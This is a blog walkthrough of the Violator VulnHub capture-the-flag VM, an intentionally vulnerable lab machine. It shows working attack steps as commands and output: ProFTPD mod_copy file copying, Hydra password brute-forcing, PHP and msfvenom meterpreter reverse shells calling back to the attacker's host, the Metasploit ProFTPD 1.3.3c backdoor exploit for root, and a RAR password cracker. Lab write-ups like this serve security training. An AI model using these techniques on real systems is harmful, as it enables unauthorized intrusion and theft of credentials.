BOOT2ROOT, CTF, VULNHUB

VIOLATOR VULNHUB VM WALKTHROUGH

SEPTEMBER 17, 2016 | MRB3N

A while back knightmare asked me to test his boot2root challenge named Violator. Having thoroughly enjoyed his first 3 Droopy, Gibson and Sidney I jumped at the opportunity.

Like his other VMs it had a theme, this one being Depeche Mode themed.

You can grab a copy for yourself here: https://www.vulnhub.-com/entry/violator-1,153/

When testing a boot2root I typically approach it as any other challenge, only stopping along the way if I feel I discover a flaw/unintended path, something appears to be broken or I just 100% hit a wall.

Knightmare provided me with the following hints to get going (I've also learned by now to set the HDD on all his VMs to non-persistent 🙂) :

- Vince Clarke can help you with the Fast Fashion.
- The challenge isn't over with root. The flag is something special.
- I have put a few trolls in, but only to sport with you.

Without further ado, here goes:

As always, we start off with a quick nmap scan. This one turns up an FTP service and Apache web server.

```
root@mrb3n:/# nmap -sV 192.168.110.183

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-09-16 10:13 EDT
Nmap scan report for 192.168.110.183
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5rc3
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:7D:C7:3C (VMware)
Service Info: OS: Unix
```

The web server is pretty sparse. There is an image of Foghorn Leghorn from Looney Tunes as well as a link to a Wikipedia page about the Depeche Mode album 'Violator, which I can only assume is a hint for later.

```
root@mrb3n:~# curl -s http://192.168.110.183
<html>
<title>I Say... I say... I say Boy! You pumpin' for oil or somethin'...?</title>
  <body>
    <br>I Say.. I say... I say boy!  You're barkin up the wrong tree!</br>
    <img src="foggie.jpg" alt="foggie.jpg" height=1041" width="731">
   <-- https://en.wikipedia.org/wiki/Violator_(album)  -->
  </body>
</html>
```

I pulled down the image and checked it with exiftool but did not find any hidden treasures.

Leaving the web server aside and taking a look at the FTP service banner, I find a ProFTPD 1.3.5 File Copy exploit over on exploit-db. Maybe I can use this to pull down something interesting?

I attempt to connect anonymously and get rejected so let's try out this exploit. If successful, I will be able to use the mod_copy module SITE CPFR/SITE CPTO commands to read/write files remotely and unauthenticated.

```
root@mrb3n:~# ftp 192.168.110.183
Connected to 192.168.110.183.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.110.183]
Name (192.168.110.183:root): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
```

```
Using binary mode to transfer files.
ftp>
```

I go after /etc/passwd first.

```
ftp> site CPFR /etc/passwd
350 File or directory exists, ready for destination name
ftp> site CPTO /var/www/html/passwd
250 Copy successful
ftp>
```

Awesome! The web root is writeable and I was able to grab down a list of usernames.

```
root@mrb3n:~# curl -s http://192.168.110.183/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
dg:x:1000:1000:Dave Gahan,,,:/home/dg:/bin/bash
proftpd:x:104:65534::/var/run/proftpd:/bin/false
ftp:x:105:65534::/srv/ftp:/bin/false
mg:x:1001:1001:Martin Gore:/home/mg:/bin/bash
af:x:1002:1002:Andrew Fletcher:/home/af:/bin/bash
aw:x:1003:1003:Alan Wilder:/home/aw:/bin/bash
```

So here we have a list of local usernames, which happen to be the members of Depeche Mode. I attempted to grab /etc/shadow but was denied. I grabbed the groups file to see what types of per-

missions each users have on the target system.

```
ftp> site CPFR /etc/group
350 File or directory exists, ready for destination name
ftp> site CPTO /var/www/html/group
250 Copy successful

root@mrb3n:~/violator# curl -s http://192.168.110.183/group > group
root@mrb3n:~/violator# cat group | grep sudo
sudo:x:27:dg
```

The user dg is in the sudoers group so *hopefully* we can get his creds somehow! At this point I figured I needed some sort of wordlist. The Wikipedia page in the index page source seems like a good candidate. Firing up Cewl I put together a quick wordlist.

```
root@mrb3n:~/violator# cewl -v 'en.wikipedia.org/wiki/Violator_(album)' -d 1 -w
violator.txt
```

This wordlist didnt get me anywhere. After some fumbling around with various combinations I settled on a wordlist of with all of the song titles, lowercase, without spaces or special characters. First we remove all spaces.

```
root@mrb3n:~/violator# sed 's/ //g' violator > violator_nospaces
```

We can clean things up a bit more with cut and tr.

```
root@mrb3n:~/violator# cut -d'"' -f2 violator_nospaces | tr '[:upper:]' '[:lower:]' >
violator_list
root@mrb3n:~/violator# cat violator_list
worldinmyeyes
sweetestperfection
personaljesus
halo
waitingforthenight
enjoythesilence
policyoftruth
bluedress
clean
dangerous
memphisto
sibeling
kaleid
happiestgirl
```

```
seaofsin
enjoythesilence
enjoythesilence
enjoythesilence
sibeling
enjoythesilence
enjoythesilence
enjoythesilence
memphisto
```

Interesting enough Hydra finds valid passwords for all 4 users. Dg is my target so let's check his account first.

```
root@mrb3n:~/violator# hydra -L users -P violator_list ftp://192.168.110.183
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-09-16 14:00:35
[DATA] max 16 tasks per 1 server, overall 64 tasks, 96 login tries (l:4/p:24), ~0
tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.110.183   login: dg   password: policyoftruth
[21][ftp] host: 192.168.110.183   login: mg   password: bluedress
[21][ftp] host: 192.168.110.183   login: af   password: enjoythesilence
[21][ftp] host: 192.168.110.183   login: aw   password: sweetestperfection
1 of 1 target successfully completed, 4 valid passwords found
```

Logging in I am in dg's home directory and am able to change to various other directories, including those for our other 3 users.

```
root@mrb3n:~# ftp 192.168.110.183
Connected to 192.168.110.183.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.110.183]
Name (192.168.110.183:root): dg
331 Password required for dg
Password:
230 User dg logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/home/dg" is the current directory
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x  10 root     root         4096 Jun  6 20:31 bd
226 Transfer complete
```

```
ftp> cd ..
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x    3 af       af           4096 Jun 12 09:25 af
drwxr-xr-x    2 aw       aw           4096 Jun 12 09:25 aw
drwxr-xr-x    4 dg       dg           4096 Jun 14 18:55 dg
drwxr-xr-x    2 mg       mg           4096 Jun 12 09:28 mg
```

I pull down various files for inspection locally.

```
ftp> get minarke-1.21.tar.bz2
local: minarke-1.21.tar.bz2 remote: minarke-1.21.tar.bz2
200 PORT command successful
150 Opening BINARY mode data connection for minarke-1.21.tar.bz2 (15576 bytes)
226 Transfer complete
15576 bytes received in 0.01 secs (2.7953 MB/s)

150 Opening ASCII mode data connection for file list
-rw-rw-r--    1 aw       aw             59 Jun 12 09:19 hint
226 Transfer complete
ftp> get hint
local: hint remote: hint

150 Opening ASCII mode data connection for file list
-rw-rw-r--    1 mg       mg            112 Jun 12 09:28 faith_and_devotion
226 Transfer complete
ftp> get faith_and_devotion
local: faith_and_devotion remote: faith_and_devotion
200 PORT command successful
150 Opening BINARY mode data connection for faith_and_devotion (112 bytes)
226 Transfer complete
```

Dg's home directory contains a more extensive directory listing which we'll have to come back to later.

```
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x    2 root     root         4096 Jun  6 20:31 bin
drwxr-xr-x    2 root     root         4096 Jun  6 20:46 etc
drwxr-xr-x    3 root     root         4096 Jun  6 20:31 include
drwxr-xr-x    4 root     root         4096 Jun  6 20:31 lib
drwxr-xr-x    2 root     root         4096 Jun  6 20:31 libexec
drwxr-xr-x    2 root     root         4096 Jun  6 20:31 sbin
```

```
drwxr-xr-x   4 root     root         4096 Jun  6 20:31 share
drwxr-xr-x   2 root     root         4096 Jun  6 22:17 var
```

Taking a look at our loot, the hint file is a bit vague...for now...

```
root@mrb3n:~/violator# cat hint
You are getting close... Can you crack the final enigma..?
```

The Minarke archive is interesting a C file and make file for compiling an Enigma M4 emulator. We know that knightmare is infamous for flag challenges so I am almost certain this will come into play later.

```
root@mrb3n:~/violator/minarke-1.21# cat minarke.c
/* Minarke, an Enigma M4 emulator
 *
 * Written by John Gilbert
 * Version 1.21
 * (c) 2008
```

I compile it and check out the binary. Our suspicions are confirmed. this can be used to crack some Enigma code. Pretty awesome. Now lets find that code!

```
root@mrb3n:~/violator/minarke-1.21# make
gcc -g -Wall -o minarke minarke.c
root@mrb3n:~/violator/minarke-1.21# ./minarke


Minarke, an Enigma M4 emulator
by John Gilbert

Emulates the Kriegsmarine M4 Enigma encryption machine

        Initial Setup Notes
Rotors: Reflector (B/C), Thin Rotor (B/G), 3 Rotors (1-8, can't reuse them)
Use BB### or CG### with A### settings to read/create Wehrmacht three rotor traffic
Ring and position settings: A-Z for each of the 4 rotors
Reflector setting is always fixed at A.
Plugboard settings: A-Z,A-Z pairs, also won't allow reuse
Hit return to end input, 11 pairs recomended for maximum security.
Hit ESC at any time to quit.

        Special Keys (during input mode)
1: rewind one setting
2: reset position settings
```

```
3: new position settings
4: new setup
9: toggle debug
0: show position settings
?: show help

see http://en.wikipedia.org/wiki/Enigma_machine
also http://www.bytereef.org/m4_project.html


Rotors:
```

The faith_and_devotion file contains what we need to use the Enigma machine once we have the code.

```
root@mrb3n:~/violator# cat faith_and_devotion
Lyrics:

* Use Wermacht with 3 rotors
* Reflector to B
Initial: A B C
Alphabet Ring: C B A
Plug Board A-B, C-D
```

Now I need a shell. Since /var/www/html appears to be writeable. I attempt to upload a PHP reverse shell. If all goes well and knightmare doesnt have any tricks up his sleeve I should be able to grab a nice reverse shell.

```
root@mrb3n:~# ftp 192.168.110.183
Connected to 192.168.110.183.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.110.183]
Name (192.168.110.183:root): dg
331 Password required for dg
Password:
230 User dg logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /var/www/html
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-rw-r--    1 dg       dg          51256 Jun  6 20:00 foggie.jpg
-rw-r--r--    1 proftpd  nogroup       699 Sep 16 17:39 group
-rw-rw-r--    1 dg       dg            318 Jun 12 17:26 index.html
-rw-r--r--    1 proftpd  nogroup      1330 Sep 16 15:24 passwd
```

```
226 Transfer complete
ftp> put /var/www/html/violator.php
local: /var/www/html/violator.php remote: /var/www/html/violator.php
200 PORT command successful
150 Opening BINARY mode data connection for /var/www/html/violator.php
226 Transfer complete
3463 bytes sent in 0.00 secs (33.0257 MB/s)
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-rw-r--    1 dg       dg          51256 Jun  6 20:00 foggie.jpg
-rw-r--r--    1 proftpd  nogroup       699 Sep 16 17:39 group
-rw-rw-r--    1 dg       dg            318 Jun 12 17:26 index.html
-rw-r--r--    1 proftpd  nogroup      1330 Sep 16 15:24 passwd
-rw-r--r--    1 dg       dg           3463 Sep 16 18:18 violator.php
226 Transfer complete
```

I browse to my violator.php reverse shell script and sure enough get a connection as www-data.

```
root@mrb3n:~/violator# curl -s http://192.168.110.183/violator.php

root@mrb3n:~# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.110.179] from (UNKNOWN) [192.168.110.183] 33641
Linux violator 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015
x86_64 x86_64 x86_64 GNU/Linux
 19:20:09 up  3:00,  0 users,  load average: 0.00, 0.01, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@violator:/$
```

I su to the dg user and check what he is able to run as root, since I remembered from earlier that he is part of the sudoers group. Interesting, he can run another version of proftpd as root which what we saw earlier in his home directory.

```
www-data@violator:/$ su dg
su dg
Password: policyoftruth

dg@violator:/$ sudo -l
sudo -l
Matching Defaults entries for dg on violator:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

```
User dg may run the following commands on violator:
    (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd
```

```
dg@violator:~/bd/sbin$ file proftpd
file proftpd
proftpd: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=8abf34e54323fc0bb0320d1ea3750da2e57ecd08, stripped

dg@violator:~/bd/sbin$ sudo ./proftpd
sudo ./proftpd
 - setting default address to 127.0.0.1
localhost - SocketBindTight in effect, ignoring DefaultServer
```

We now have another service running locally on port 2121. How can this be abused to gain root privs?

```
dg@violator:~/bd/sbin$ netstat -antp
netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
tcp        0      0 127.0.0.1:2121          0.0.0.0:*               LISTEN      -
tcp        0    218 192.168.110.183:33641   192.168.110.179:443     ESTABLISHED
1391/bash
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 192.168.110.183:80      192.168.110.179:56414   ESTABLISHED -
tcp6       0      0 192.168.110.183:21      192.168.110.179:56886   ESTABLISHED -
```

Connection to port 2121 locally I see we are dealing with ProFTPD 1.3.3c.

```
dg@violator:~/bd/sbin$ telnet 127.0.0.1 2121
telnet 127.0.0.1 2121
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (Depeche Mode Violator Server) [127.0.0.1]
```

This particular FTP client has a known backdoor command execution vulnerability which hopefully we can use to escalate privileges. There are many ways to do this, the way I did it worked but of

course there are other options

```
root@mrb3n:~# searchsploit ProFTPD 1.3.3c
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
                                              | (/usr/share/exploitdb/platforms)
---------------------------------------------- ---------------------------------
ProFTPD 1.3.3c - Compromised Source Remote Root  | ./linux/remote/15662.txt
ProFTPD-1.3.3c Backdoor Command Execution        | ./linux/remote/16921.rb
```

It looks like I will need Metasploit to take advantage of this exploit so I quickly create a meterpreter PHP payload and upload it to the target, execute and grab a meterpreter shell.

```
root@mrb3n:/var/www/html# msfvenom -p php/meterpreter_reverse_tcp
LHOST=192.168.110.179 LPORT=8443 -f raw > violator_meterp.php
```


```
root@mrb3n:/var/www/html# msfvenom -p php/meterpreter_reverse_tcp
LHOST=192.168.110.179 LPORT=8443 -f raw > violator_meterp.php
```


I could have used FTP to transfer the file, but after seeing that knightmare was kind enough to remove curl and wget I had to find another way.

```
Connection closed by foreign host.
dg@violator:~/bd/sbin$ wget http://192.168.110.179/violator_meterp.php -O
/var/www/html/shell.php
< http://192.168.110.179/violator_meterp.php -O /var/www/html/shell.php
The program 'wget' is currently not installed. You can install it by typing:
sudo apt-get install wget
dg@violator:~/bd/sbin$ curl -O http://192.168.110.179/violator_meterp.php
curl -O http://192.168.110.179/violator_meterp.php
The program 'curl' is currently not installed. You can install it by typing:
sudo apt-get install curl
```

SCP was still installed so I was able to transfer the file that way, as root which is super secure!

```
dg@violator:/var/www/html$ scp root@192.168.110.179:/var/www/html/violator_meterp.php
.
<scp root@192.168.110.179:/var/www/html/violator_meterp.php .
root@192.168.110.179's password: 🙂

violator_meterp.php                           100%   26KB  25.6KB/s   00:00
```

Don't forget to chown the file as dg so we can catch a session as this user.

```
dg@violator:/var/www/html$ chown dg:dg violator_meterp.php
```

Quickly set up metasploit to catch our shiny new meterpreter shell.

```
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 192.168.110.179
lhost => 192.168.110.179
msf exploit(handler) > set lport 8443
lport => 8443
```

Executing the shell I gain a connection and its time to set up some port forwarding so I can attack remote port 2121 directly.

```
dg@violator:/var/www/html$ phpviolator_meterp.php


msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.110.179:8443
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.110.179:8443 -> 192.168.110.183:35213) at
2016-09-16 14:50:38 -0400
```

I use the built-in meterpreter portfwd command to set up the tcp relay.

```
meterpreter > portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
[*] Local TCP relay created: 127.0.0.1:2121 <-> 127.0.0.1:2121
```

Searching in metasploit I quickly find the exploit I'm looking for and configure it based on our port forwarding rule.

```
msf exploit(handler) > search ProFTPD

Matching Modules
================

   Name                                      Disclosure Date  Rank
Description
```

```
   ----                                          ---------------  ----       ---------
--
   exploit/freebsd/ftp/proftp_telnet_iac         2010-11-01       great      ProFTPD
1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   exploit/linux/ftp/proftp_sreplace             2006-11-26       great      ProFTPD
1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   exploit/linux/ftp/proftp_telnet_iac           2010-11-01       great      ProFTPD
1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   exploit/linux/misc/netsupport_manager_agent   2011-01-08       average
NetSupport Manager Agent Remote Buffer Overflow
   exploit/unix/ftp/proftpd_133c_backdoor        2010-12-02       excellent
ProFTPD-1.3.3c Backdoor Command Execution
   exploit/unix/ftp/proftpd_modcopy_exec         2015-04-22       excellent  ProFTPD
1.3.5 Mod_Copy Command Execution
```

```
msf exploit(proftpd_133c_backdoor) > use cmd/unix/reverse_perl
msf payload(reverse_perl) > show options

Module options (payload/cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

msf payload(reverse_perl) > set LHOST 192.168.110.179
LHOST => 192.168.110.179
msf payload(reverse_perl) > exploit
[-] Unknown command: exploit.
msf payload(reverse_perl) > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set LHOST 192.168.110.179
LHOST => 192.168.110.179
```

I run the exploit and pop a root shell.

```
msf exploit(proftpd_133c_backdoor) > exploit

[*] Started reverse TCP handler on 192.168.110.179:4444
[*] Sending Backdoor Command
[*] Command shell session 6 opened (192.168.110.179:4444 -> 192.168.110.183:44484) at
2016-09-16 15:59:57 -0400

id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
python -c 'import pty;pty.spawn("/bin/bash")'
```

```
root@violator:/#
```

Checking for our flag, as I expected, was a troll 🙂

```
root@violator:/root# cat flag.txt
cat flag.txt
I say... I say... I say boy! Pumping for oil or something...?
---Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.
```

The hidden directory ‘basildon’ in the root directory contains a file, crocs.rar.

```
root@violator:/root# ls -lah
ls -lah
total 24K
drwx------  3 root root 4.0K Jun 14 19:56 .
drwxr-xr-x 22 root root 4.0K Jun 14 19:44 ..
-rw-r--r--  1 root root 3.1K Feb 20  2014 .bashrc
d--x------  2 root root 4.0K Jun 14 19:57 .basildon
-rw-r--r--  1 root root  114 Jun 12 10:22 flag.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
root@violator:/root# cd .basildon
cd .basildon
root@violator:/root/.basildon# ls -lah
ls -lah
total 148K
d--x------ 2 root root 4.0K Jun 14 19:57 .
drwx------ 3 root root 4.0K Jun 14 19:56 ..
-rw-r--r-- 1 root root 138K Jun 12 14:46 crocs.rar
```

I move the file over to the web root and pull it down locally for analysis.

```
root@mrb3n:~/violator# curl -O http://192.168.110.183/crocs.rar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  137k  100  137k    0     0  20.6M      0 --:--:-- --:--:-- --:--:-- 22.3M

root@mrb3n:~/violator# file crocs.rar
crocs.rar: RAR archive data, v1d, os: Win32

root@mrb3n:~/violator# unrar e crocs.rar

UNRAR 5.21 freeware      Copyright (c) 1993-2015 Alexander Roshal

Extracting from crocs.rar
```

```
Enter password (will not be echoed) for artwork.jpg:
```

Hmm, a password protected rar containing an image file. I was stuck here for a while. First I used Cewl to create a word list based on our original Wikipedia page but had no luck. I then ran the earlier song list without spaces that got us our user accounts and still no luck. Combining everything I had and using a quick rar brute force Python script I got a result.

```
#!/usr/bin/python

import rarfile
import subprocess

subprocess.call('clear', shell=True)
print "Rar file password brute forcer" + '\n'

rFile = rarfile.RarFile('crocs.rar')
PassFile = open('violator_songs')
for line in PassFile.readlines():
        password = line.strip('\n')
        try:
                rFile.extractall(pwd=password)
                print 'Correct Password = ' + password + '\n'
                exit(0)
        except Exception, e:
                pass
```

Our password, and the artwork.jpg file!

```
root@mrb3n:~/violator# python rarcracker.py

Rar file password brute forcer

Correct Password = World in My Eyes
```

This time exiftool gave us something juicy, which I believe is our Engima code.

```
root@mrb3n:~/violator# wine /root/Desktop/exiftool.exe artwork.jpg
ExifTool Version Number         : 10.07
File Name                       : artwork.jpg
Directory                       : .
File Size                       : 183 kB
File Modification Date/Time     : 2016:06:12 14:38:12-04:00
File Access Date/Time           : 2016:09:16 21:03:34-04:00
File Creation Date/Time         : 2016:06:12 14:38:12-04:00
```

```
File Permissions                : rw-rw-rw-
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 300
Y Resolution                    : 300
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : Violator
Software                        : Google
Artist                          : Dave Gaham
Copyright                       :
UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQLTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWKL
SVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUWISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJMFV
XZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLOZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDVKFZ
SDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGPFBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIATOAO
JAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHVCRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMWRHJEM
USGYBGWXJENRZHZICACWOBJMI
Exif Version                    : 0220
Date/Time Original              : 1990:03:19 22:13:30
Create Date                     : 1990:03:19 22:13:30
Sub Sec Time Original           : 04
Sub Sec Time Digitized          : 04
Exif Image Width                : 1450
Exif Image Height               : 1450
XP Title                        : Violator
XP Author                       : Dave Gaham
XP Keywords                     : created by user dg
XP Subject                      : policyoftruth
Padding                         : (Binary data 1590 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Rights                          :
UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQLTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWKL
SVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUWISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJMFV
XZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLOZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDVKFZ
SDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGPFBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIATOAO
JAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHVCRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMWRHJEM
USGYBGWXJENRZHZICACWOBJMI
Creator                         : Dave Gaham
Subject                         : created by user dg
Title                           : Violator
Description                     : Violator
Warning                         : [minor] Fixed incorrect URI for
xmlns:MicrosoftPhoto
Date Acquired                   : 1941:05:09 10:30:18.134
Last Keyword XMP                : created by user dg
Image Width                     : 1450
Image Height                    : 1450
Encoding Process                : Baseline DCT, Huffman coding
```

```
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1450x1450
Megapixels                      : 2.1
Create Date                     : 1990:03:19 22:13:30.04
Date/Time Original              : 1990:03:19 22:13:30.04
```

I was unable to get the Minarke program to work but the following decoder decoded the text for me. I just had to fix up the spacing to fully read the message.

```
ONE FINAL CHALLENGE FOR YOU BGHX

CONGRATULATIONS FOR THE FOURTH TIME ON SNARFING THE FLAG ON VIOLATOR
ILL PRESUME BY NOW YOULL KNOW WHAT I WAS LISTENING TO WHEN CREATING THIS CTF I HAVE
INCLUDED THINGS WHICH WERE DELIBERATLY AVOIDING  THE OBVIOUS ROUTE IN TO KEEP YOU ON
YOUR TOES
ANOTHER THOUGHT TO PONDER IS THAT BY ABUSING PERMISSIONS YOU ARE ALSO BY DEFINITION A
VIOLATOR

SHOUT OUTS AGAIN TO VULNHUB FOR HOSTING A GREAT LEARNING TOOL A SPECIAL THANKS GOES
TO BENR AND GKNSB FOR TESTING AND TO GTMLK FOR THE OFFER TO HOST THE CTF AGAIN

KNIGHTMARE
```

An update on knightmare's Twitter here tells us that the final message should read BGH 393X. A little research leads us to this message board which tells us that this is the license plate for a 1981 Ford Corina MkV in the music video for the Depeche Mode song 'Useless'.

Overall this one a fun VM with plenty of twists and turns. I learned some new techniques and about the band Depeche Mode. Thank you knightmare for the challenge and sharing a bit of culture with us.

As always, thank you to g0tmi1k and the vulnhub team for maintaining this great resource/community.

Until next time, enjoy the music!